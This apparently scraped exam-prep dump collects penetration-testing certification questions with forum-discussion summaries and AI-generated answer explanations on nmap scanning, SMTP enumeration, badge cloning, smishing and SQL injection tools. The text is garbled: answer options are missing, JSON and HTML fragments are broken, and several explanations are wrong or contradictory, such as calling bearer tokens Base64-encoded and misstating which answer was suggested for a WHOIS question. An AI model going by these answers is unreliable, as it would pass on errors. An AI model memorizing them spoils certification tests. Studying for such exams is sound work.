\nThe MITRE ATT&CK framework is a comprehensive knowledge base of adversary tactics and techniques based on real-world observations. It is structured as a matrix, detailing the various stages of an attack (tactics) and the specific methods attackers use (techniques) to achieve their objectives. The framework also provides recommended mitigations for each technique, making it a valuable resource for understanding and defending against cyber threats. This aligns perfectly with the question's requirement for a matrix of attacker tactics and techniques with corresponding mitigations.
\n
\nReasons for not choosing the other options:
\n
Therefore, the MITRE ATT&CK framework is the most appropriate answer as it directly addresses the question's requirement for a matrix of attacker tactics and techniques with recommended mitigations.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?
\n
Agree with Suggested Answer. From the internet discussion from Q1 2024 to Q3 2024, the conclusion of the answer to this question is C. nmap -A -T4 -p80 192.168.1.20, which the reason is that the command uses nmap to scan a specific IP address (192.168.1.20) on port 80 (HTTP) and includes options for OS and version detection (-A) and faster scan times (-T4), which is the most appropriate for the task. Other options are incorrect because they use options like packet fragmentation (-f), TCP SYN and UDP scans (-sS, -sL), or verbose output (-v) that are not necessary for this task.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nThe recommended answer is C: `nmap -A -T4 -p80 192.168.1.20`.
\nReasoning:
\nThis command effectively addresses the task requirements by employing Nmap with specific options tailored for service and version detection. Here's a breakdown:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?
\n
Agree with Suggested Answer From the internet discussion from Q2 2022 to Q2 2024, the conclusion of the answer to this question is VRFY and EXPN, which the reason is that VRFY is used to verify if a user account exists, and EXPN is used to expand mailing lists, revealing the members. Other options are not correct because TURN is not related to SMTP commands, and RCPT TO is used to specify the recipient of an email, not to enumerate all user accounts.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A (VRFY and EXPN).
\nThe reason for this choice is: The VRFY command is used to verify the existence of a user account on an SMTP server. By issuing VRFY commands with different usernames, a penetration tester can determine whether those accounts are active. The EXPN command expands mailing lists, potentially revealing valid user accounts if the server hasn't disabled this feature.
\nThe reasons for not choosing other options are:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?
\n
Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B. Check WHOIS and netblock records for the company, which the reason is WHOIS and netblock records provide crucial public information to understand the scope of the company's external assets. WHOIS can reveal domain registration details and contact information, while netblock records help to identify the IP address range allocated to the company. Other options were not considered as the first step.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B: Check WHOIS and netblock records for the company.
\nReasoning:
\nThe question emphasizes that the penetration tester has limited information. Therefore, the very first step should be gathering as much publicly available information as possible to understand the target's infrastructure. Checking WHOIS and netblock records accomplishes this efficiently. WHOIS records provide domain registration information, including registrant contact details, creation and expiration dates, and name servers. Netblock records identify the IP address ranges owned or used by the organization. This information helps define the scope of the reconnaissance phase and provides a foundation for subsequent steps.
\nWhy other options are not the best first step:
\n
In summary, the correct sequence of a penetration test is to first gather passive information, then perform active information gathering. Checking WHOIS and netblock records aligns with the passive information gathering stage.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester captured the following traffic during a web-application test:![](\"topic_1_question_122/image_0.png\"/)
Which of the following methods should the tester use to visualize the authorization information being transmitted?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is because the authorization information is in the form of a bearer token, often encoded using Base64.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C. Decode the authorization header using Base64.
\nReasoning:
\n The provided traffic capture shows an \"Authorization\" header with a value that starts with \"Bearer \". This strongly suggests the use of a bearer token, which is a common authorization scheme. Bearer tokens are frequently encoded using Base64 to transmit them over HTTP. Base64 encoding is used to represent binary data in an ASCII string format. This allows you to include binary data in an HTTP header.
\nWhy other options are incorrect:\n
\nIn summary: The \"Bearer \" scheme suggests Base64 encoding, making option C the most appropriate choice.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?
\n
Agree with Suggested Answer: D. From the internet discussion from Q2 2021 to Q1 2025, the consensus is that the correct answer is D (badge cloning), because the scenario describes unattended belongings, making cloning the badge the most viable method for gaining legitimate access. The reasoning is that if items are left unattended, they are available to be cloned. Other options like tailgating or shoulder surfing are less probable because the scenario specifies that the person is away from their belongings.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer of D. Badge cloning.
\n
\nReasoning:
\nThe question describes a scenario where employees leave their belongings, including potentially their ID badges, unattended. This presents an opportunity for the penetration tester to clone the badge and gain legitimate access to the building. Badge cloning is a direct and effective way to bypass physical security controls when badges are left unattended.\n
\n
\nWhy other options are less likely:\n
\nTherefore, badge cloning presents the most direct and likely method for gaining legitimate access in this scenario.\n
\nCitation:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?
\n
From the internet discussion, which includes from Q2 2021 to Q1 2025, the conclusion of the answer to this question is D. FOCA. The comments agree with this answer because FOCA (Fingerprinting Organizations with Collected Archives) is a tool designed to extract metadata from documents and identify hidden information. The tool is used to analyze file metadata, such as authors, dates, and keywords. Also, the discussion states that Netcraft, CentralOps, and Responder are not the correct answers because they do not provide the same type of analysis as FOCA, they provide other services such as website security and domain name analysis tools.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is D. FOCA.
\nReasoning:
\nFOCA (Fingerprinting Organizations with Collected Archives) is specifically designed for metadata extraction and hidden information discovery within documents. It analyzes file metadata to reveal potentially sensitive details like authors, dates, software versions, and more. This aligns directly with the penetration tester's goal of finding hidden information.
\nWhy the other options are incorrect:\n
\nIn summary, FOCA is the appropriate tool for this task because it specializes in extracting metadata from documents, which helps in uncovering hidden information.\n
"}, {"folder_name": "topic_1_question_125", "topic": "1", "question_num": "125", "question": "A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network.Which of the following methods will MOST likely work?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network.
Which of the following methods will MOST likely work?
\n
Agree with Suggested Answer From the internet discussion ranging from Q2 2021 to Q2 2024, the consensus answer to this question is B. Send an email from the CEO's account, requesting a new account, which the reason is the method leverages social engineering to exploit the trust associated with the CEO's position, making it a straightforward approach to gain network access with minimal technical barriers. The other options were less likely to succeed because attempting to obtain private keys, moving laterally to the domain controller, or escalating privileges on the mail server involve technical hurdles or may not directly result in gaining network access. \n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion content, the AI agrees with the suggested answer, which is B. Send an email from the CEO's account, requesting a new account.
\n
\nThe primary reason for choosing this answer is that it employs social engineering, which is often effective. Since the attacker has already compromised the CEO's email account, they can leverage the CEO's authority and trust to trick someone into creating a new account for them. This new account can then be used to access the network.
\n
\nHere's a breakdown of why the other options are less likely to succeed:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Nikto, which the reason is that Nikto is a web server vulnerability scanner, specifically designed for this type of task. It can detect thousands of potential security issues on web servers. Other options are not the best fit, as Nmap focuses on port scanning, Cain and Abel is for password recovery, and Ethercap is a network sniffer, not a vulnerability scanner.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.\n
\nThe best tool for performing a vulnerability scan against a web server is Nikto.\n
\nReasoning:\n
\nSuggested Answer: B\n
\n\nTherefore, the final answer is B. Nikto.\n
"}, {"folder_name": "topic_1_question_127", "topic": "1", "question_num": "127", "question": "A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?
\n
Based on the internet discussion from Q2 2024 to Q3 2024, the consensus answer is B. Aircrack-ng. The reason is Aircrack-ng is a suite of tools used to audit wireless networks, it can be used to capture wireless network traffic, recover wireless network keys, and perform other wireless-related tasks. Several comments mention that Wifite is a tool that automates the process, while Aircrack-ng is designed to be easy to use and it allows the penetration tester to specify the target network and the type of attack to use.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct.
\nThe best tool to use for deploying and setting up a rogue access point is Aircrack-ng.
\nAircrack-ng is a complete suite of tools specifically designed for assessing Wi-Fi network security. It can be used to create a rogue access point by capturing wireless traffic, cracking WEP/WPA/WPA2 keys, and performing various attacks.
\n\nHere's why the other options are less suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible. Which of the following Nmap scan syntaxes would BEST accomplish this objective?
\n
From the internet discussion, the conclusion of the answer to this question is D. The reason why is the command `nmap -sS -O 192.168.1.0/24 -T1` utilizes a SYN scan, also known as a stealth scan, which is less likely to be detected. Also, the `-O` flag enables OS detection, and `-T1` sets the scan timing to the slowest level, reducing the chance of detection.\n Other options like a full TCP connect scan, version detection, or ACK scan are considered less stealthy and more likely to trigger alarms.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D.
\nThe question asks for the Nmap scan syntax that would BEST accomplish attacking a series of targets while triggering as few alarms and countermeasures as possible. This implies the need for a stealthy scan.
\n
\nReasoning:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the
MOST likely reason for the error?
\n
Agree with Suggested Answer From the internet discussion spanning from Q1 2023 to Q3 2024, the conclusion of the answer to this question is D. The application has the API certificate pinned, which the reason is the application is unable to validate the certificate issued by the tester's private root CA. Certificate pinning compares the certificate presented by the server with a predefined set of certificates and only accepts connections if the presented certificate is one of the predefined certificates. This means that the application will reject any certificate that is not in the predefined set, even if it is valid.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI suggests that the suggested answer D is correct.
\nReasoning: The question describes a scenario where a penetration tester is trying to intercept and decrypt traffic from a mobile application by installing a custom root CA. The application, however, throws a certificate mismatch error despite the CA being trusted at the system level. This strongly indicates that the application is employing certificate pinning.
\n Certificate pinning is a security mechanism where an application only trusts specific certificates (or their corresponding public keys) for a particular service. Even if the system trusts the root CA that signed the presented certificate, the application will reject the connection if the presented certificate doesn't match one of the pinned certificates.
\nWhy other options are likely incorrect:\n
\n
\nSuggested Answer: D. The application has the API certificate pinned.\n
\nReason: The application is unable to validate the certificate issued by the tester's private root CA. Certificate pinning compares the certificate presented by the server with a predefined set of certificates and only accepts connections if the presented certificate is one of the predefined certificates. This means that the application will reject any certificate that is not in the predefined set, even if it is valid.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is SQLmap, which the reason is SQLmap is the most suitable tool for finding vulnerabilities in a database server, especially for SQL injection vulnerabilities. SQLmap is specifically designed for this task. Other tools like Nessus can identify vulnerabilities but are not as specialized for database-specific issues.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C (SQLmap).
\nReasoning: SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in database servers. Since the penetration tester is tasked with finding vulnerabilities on a database server, SQLmap is the most appropriate tool for this purpose. It's designed specifically to target SQL injection flaws, making it highly effective in this scenario. The question specifically mentions a database server, making SQLmap the best choice.
\nReasons for not choosing the other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter, with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Side Channel Attacks, which the reason is because side-channel attacks are a type of attack that allows an attacker to obtain privileged information by exploiting the physical characteristics of the computer system, specifically in cloud environments where VMs share hardware resources. This allows attackers to potentially gain access to VMs without compromising the cloud provider's security. Other options like Session Riding, Cybersquatting, and Data Flooding are not as concerning. The comments cite that side-channel attacks are a real concern due to the shared hardware in IaaS environments and can leverage remnant data vulnerabilities.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer D is correct.
\nReasoning: The question highlights concerns about inadequate protection of VMs in a shared datacenter environment. Among the given options, a side-channel attack is the MOST relevant threat in this scenario. Side-channel attacks exploit vulnerabilities arising from the physical implementation of a cryptosystem, such as power consumption, timing variations, electromagnetic leaks, or acoustic emissions. In a shared cloud environment, where VMs from different companies reside on the same physical hardware, an attacker can potentially monitor these side-channel emissions from a neighboring VM to extract sensitive information or compromise the target VM. This is especially concerning when the cloud service provider isn't providing adequate protection, making shared hardware a risk.
\nWhy other options are less concerning:\n
\n Therefore, the MOST concerning attack type is side-channel, given the context of shared physical resources and concerns about inadequate protection.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?
\n
From the internet discussion, the conclusion of the answer to this question is C. Methodology, which the reason is that the methodology section outlines the specific steps and approaches conducted during a penetration test, detailing the testing types, steps taken, and how attacks were carried out. Other options are not correct because Scope details defines the scope of the penetration test, Findings are the results, and the Statement of Work outlines deliverables, timeline, and cost.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is correct. The most appropriate answer is C. Methodology.
\nReasoning: The methodology outlines the specific set of steps and approaches conducted during a penetration test. It provides a structured framework for how the test will be performed, including the different phases, techniques, and tools used.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?
\n
From the internet discussion, the conclusion of the answer to this question is A. Send an SMS with a spoofed service number including a link to download a malicious application, which the reason is that it's a social engineering method likely to achieve the objectives of gaining access and exfiltrating data.\n
\n
\n The AI agrees with the suggested answer of A.
\nReasoning: The question explicitly asks for a social engineering method that would enable an attacker to gain access to mobile devices and exfiltrate data. Sending an SMS (Short Message Service) with a spoofed service number including a link to download a malicious application is a classic example of \"smishing\" (SMS phishing), a form of social engineering. If successful, the user would be tricked into installing malware that could grant the attacker access to the device and the ability to exfiltrate data. This aligns perfectly with the question's objectives.
\n
\nReasons for excluding other options:
\n
\n Citations:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester ran a ping `\"A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?
\n
Agree with the suggested answer. From the internet discussion from Q2 2023 to Q2 2024, the conclusion of the answer to this question is A. Windows, which the reason is that Windows systems typically return 128 TTL packets when a ping command is executed because Microsoft Windows systems use a static TTL value of 128 for ICMP packets. Other options are incorrect because: \n
\nThe AI assistant agrees with the suggested answer.
\nThe most likely operating system to return a TTL of 128 upon a ping command is Windows.
\nReasoning:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)
\n
Agree with Suggested Answer From the internet discussion spanning from Q2 2022 to Q1 2025, the consensus answer to this question is CD. The comments agree with this answer because they recognize that the most applicable techniques for gaining physical access in this scenario are badge stealing (C) and tailgating (D). Options like shoulder surfing, call spoofing, dumpster diving, and email phishing are not directly related to the scenario of gaining unnoticed physical access.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C and D.
\n
\nReasoning:
\nBased on the scenario, the penetration tester needs to gain physical access to the office without raising suspicion. The observation that employees leave their badges on the table while going to the restroom presents an opportunity for badge stealing. Furthermore, since the ticket gate does not scan badges, tailgating becomes a viable option.
\n
\nSuggested Answer: CD\n
"}, {"folder_name": "topic_1_question_136", "topic": "1", "question_num": "136", "question": "A penetration tester conducted an assessment on a web server. The logs from this session show the following:Which of the following attacks is being attempted?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester conducted an assessment on a web server. The logs from this session show the following:![](\"topic_1_question_136/image_0.png\"/)
Which of the following attacks is being attempted?
\n
From the internet discussion, the conclusion of the answer to this question is Parameter Pollution, which the reason is the URL in the question includes multiple `serviceID` parameters, indicating an attempt to manipulate the query, potentially for SQL injection, as seen in the attempt to add a malicious SQL statement to the request. This opinion received the most agreement from the internet. Other options like Clickjacking, Session hijacking, and Cookie hijacking, are not correct because the URL doesn't indicate those attack methods.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nBased on the provided logs, the attack being attempted is Parameter Pollution.
\nReasoning: The presence of multiple `serviceID` parameters within the URL strongly suggests an attempt to manipulate the query. The repeated `serviceID` parameters, especially when combined with what appears to be an attempted SQL injection (`UNION SELECT`), are characteristic of parameter pollution attacks. This technique seeks to exploit vulnerabilities in how the web server or application handles multiple instances of the same parameter.
\nReasons for not choosing other options:\n
\nSuggested Answer: C\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
\n
Agree with Suggested Answer: From the internet discussion from Q2 2022 to Q2 2025, the conclusion of the answer to this question is D, which the reason is that having an emergency contact would allow the pen testers to resolve access issues, especially when access is unavailable until a later time. Some comments suggest that B, \"correct user accounts and associated passwords,\" is the correct answer. However, it has been pointed out that a lack of access doesn't automatically mean credentials were the issue. Other discussions suggest the importance of having the SOW (Statement of Work).\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, D (The proper emergency contacts for the client).
\nReasoning: The core issue is the assessment team's inability to access the environment at the agreed-upon time. Having the proper emergency contacts would have allowed the team to quickly reach out to the client to resolve the access issues, minimizing delays and potentially getting the assessment back on track before the Monday morning deadline. This aligns with standard incident response and communication best practices in security assessments.\n
\nWhy other options are less suitable:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn Nmap scan of a network switch reveals the following:![](\"topic_1_question_138/image_0.png\"/)
Which of the following technical controls will most likely be the FIRST recommendation for this device?
\n
Agree with Suggested Answer. From the internet discussion including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B - System-Hardening Techniques, which the reason is disabling Telnet, which transmits credentials in plain text, is a system hardening practice. Since SSH (Secure Shell) is available, Telnet is not a necessary service.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B. System-hardening techniques.
\nReasoning: The Nmap scan reveals that Telnet is open. Telnet transmits data, including usernames and passwords, in plaintext, making it highly vulnerable to eavesdropping and credential theft. System hardening involves securing a system by reducing its attack surface and vulnerabilities. Disabling unnecessary services, such as Telnet when SSH is available, is a fundamental system-hardening practice. This is also a common recommendation and starting point for securing network devices.
\nWhy other options are less likely:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the ymic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is Alternate data streams, which the reason is Alternate Data Streams (ADS) are a feature of the NTFS file system that can hide malicious code within a file that appears harmless to the system. Attackers can hide specially crafted binaries within these streams, and then execute them using WMIC.exe. Some comments indicate that the question might have a typo with \"ymic.exe,\" it should be WMIC.exe, which the discussions have been corrected. The other options are not correct: PowerShell modules are used for scripting, MP4 steganography involves hiding data within multimedia files, and ProcMon is a monitoring tool and are not directly related to running a binary using the wmic.exe process call create function.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A.
\nReasoning: Alternate Data Streams (ADS) are a feature of the NTFS file system that allows for hiding data within files. An attacker with shell access could use ADS to conceal a malicious binary. The question mentions using `wmic.exe` (likely a typo for `WMIC.exe`) to execute the binary. WMIC can be used to execute commands, including those that might access and run the hidden binary within the ADS.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. Escalate the issue., which the reason is the exfiltration of proprietary company information is a serious security breach and should be reported immediately. Also, the tester should not accept payment from the administrator and stop, as it would be unethical and could potentially make the penetration tester complicit in the illegal activity.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer C (Escalate the issue).
\nReasoning: The discovery of an administrator exfiltrating proprietary company information represents a significant security breach and a potential legal issue. As a penetration tester, the primary responsibility is to report such findings to the appropriate stakeholders within the company. This ensures that the company can take corrective action to mitigate the risk and address the situation appropriately. Furthermore, the offer of payment to remain silent constitutes bribery and further emphasizes the need to escalate the issue immediately. Ignoring or concealing this information would be unethical and could expose the tester to legal repercussions.\n
\nReasons for not choosing other answers:\n
\nIn summary, escalating the issue is the most appropriate action because it addresses the severity of the security breach, fulfills the tester's ethical and professional responsibilities, and ensures that the company can take appropriate action to mitigate the risk.\n
"}, {"folder_name": "topic_1_question_141", "topic": "1", "question_num": "141", "question": "A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?
\n
From the internet discussion, the conclusion of the answer to this question is D. OWASP ZAP, which the reason is OWASP ZAP is a web application security scanner that can be used to obtain relevant information from the application without triggering alarms. OWASP ZAP has a passive scanning mode that does not actively probe the application. Other answers are not correct because they are either tools that are designed for active vulnerability exploitation (SQLmap, w3af) or directory enumeration (DirBuster), potentially triggering alarms. Furthermore, OWASP ZAP can identify vulnerabilities like SQL injection and XSS.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D. OWASP ZAP.
\nReasoning:
\nThe question emphasizes obtaining information \"without triggering alarms.\" OWASP ZAP (Zed Attack Proxy) is a web application security scanner with a passive scanning mode. This mode allows a penetration tester to gather information about the application's structure, technologies, and potential vulnerabilities by observing the traffic between the tester's browser and the application, without sending malicious or intrusive requests. This is crucial for initial reconnaissance and information gathering when the goal is to remain undetected.
\nWhy other options are incorrect:\n
The key to this question is understanding the difference between active and passive scanning and choosing the tool that best fits the requirement of remaining stealthy during the initial information gathering phase. OWASP ZAP, in passive mode, excels at this.
\nSuggested Answer: D
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?
\n
From the internet discussion, the consensus answer to this question is B. NDA. The comments agree that an NDA (Non-Disclosure Agreement) is the most appropriate choice to govern the management of confidential information before, during, and after an engagement. The other options, A. MSA (Master Service Agreement), C. SOW (Statement of Work), and D. ROE (Rules of Engagement), are not suitable for protecting confidential information.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of B. NDA.
\nReasoning: The question explicitly asks about a document that governs how provided information is managed before, during, and after an engagement. A Non-Disclosure Agreement (NDA) is a legal contract that establishes a confidential relationship. The parties signing the agreement agree that sensitive information they may obtain will not be made available to any others. This directly addresses the requirement of managing and protecting provided information.
\nWhy other options are incorrect:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs a scan against a server and obtains the following output:![](\"topic_1_question_143/image_0.png\"/)
Which of the following command sequences should the penetration tester try NEXT?
\n
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is that FTP allows anonymous login, making it the easiest option for initial access.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A.
\nReasoning:
\n The Nmap scan results indicate that the target server (192.168.53.23) has several ports open: FTP (port 21), NetBIOS (ports 139), SMB (port 445), and HTTPS (port 8443). Among the provided options, attempting to connect to the FTP server via command sequence 'ftp 192.168.53.23' is the most logical next step for a penetration tester. The Nmap scan reveals that FTP allows anonymous login; therefore, it is the easiest initial access.
\n
\nWhy other options are not ideal:
\n * Option B (smbclient) requires more specific information, such as the target share (IPC$) and a valid username (guest). While potentially viable, it is not as straightforward as attempting an anonymous FTP connection.
\n * Option C (ncrack) attempts to brute-force the RDP service using a username and password list. Brute-forcing should be considered after easier options are exhausted.
\n * Option D (curl -X TRACE) attempts to use the TRACE HTTP method, which might be disabled or filtered by the server. This option targets HTTPS, whereas FTP already offers potential access.
\n
\n Therefore, attempting to connect via FTP is the most appropriate next step to check if anonymous login is allowed as identified during the initial scan.
\n
\nSuggested Answer: A\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?
\n
Agree with Suggested Answer. From the internet discussion from Q4 2022 to Q2 2024, the conclusion of the answer to this question is C. nmap -A 192.168.0.10-100 -oX results, which the reason is because this command uses the -A option for comprehensive scanning and -oX to save the results in XML format, which is an interchangeable format that can be parsed by other tools. Options A, B, and D are incorrect because they either serve different purposes (loading a list of IPs, OS detection, and searching for patterns) or do not save the results in an interchangeable format.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C. nmap -A 192.168.0.10-100 -oX results.
\nThe reasoning for choosing option C is that the `-oX` option in the `nmap` command is specifically designed to output the scan results in XML format. XML is a widely recognized and interchangeable format, making it suitable for importing scan data into centralized security tools for further analysis and reporting. The `-A` option enables aggressive scan settings, which includes OS detection, version detection, script scanning, and traceroute.
\nThe reasons for not choosing the other options are as follows:\n
\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools?
(Choose two.)
\n
BC is the suggested answer, the comments agree that using a whois lookup tool (B) and crawling the client's website (C) are the most appropriate methods to gather email addresses without triggering alerts. The reasoning is that these methods are passive and less likely to be detected. However, others suggest that crawling (C) might be detected. In contrast, other options like scraping social media or other methods of active reconnaissance might trigger security tools.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI recommends B and E are the most suitable answers.
\nReasoning:
\n
Therefore, WHOIS lookups and DNS lookups are more discreet and effective for quickly retrieving email addresses without triggering client cybersecurity tools.
\nThe AI disagrees with the suggested answer (AB). While WHOIS lookups (B) are appropriate, Scraping social media sites (A) is less discreet and more likely to be detected compared to utilizing DNS lookup tools (E).
"}, {"folder_name": "topic_1_question_146", "topic": "1", "question_num": "146", "question": "During a penetration test, the domain names, IP ranges, hosts, and applications are defined in the:", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, the domain names, IP ranges, hosts, and applications are defined in the:
\n
Agree with Suggested Answer. From the internet discussion from Q2 2023 to Q4 2024, the conclusion of the answer to this question is C. ROE (Rules of Engagement), which the reason is the Rules of Engagement (ROE) document is the document that outlines the specific details of the test, including the scope, boundaries, methods, and other specific details of the test. Some comments suggest that SOW also contains some of this information, but ROE is more related to the hands-on phase of a pentest.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is C, ROE (Rules of Engagement), and the AI agrees with this suggestion.
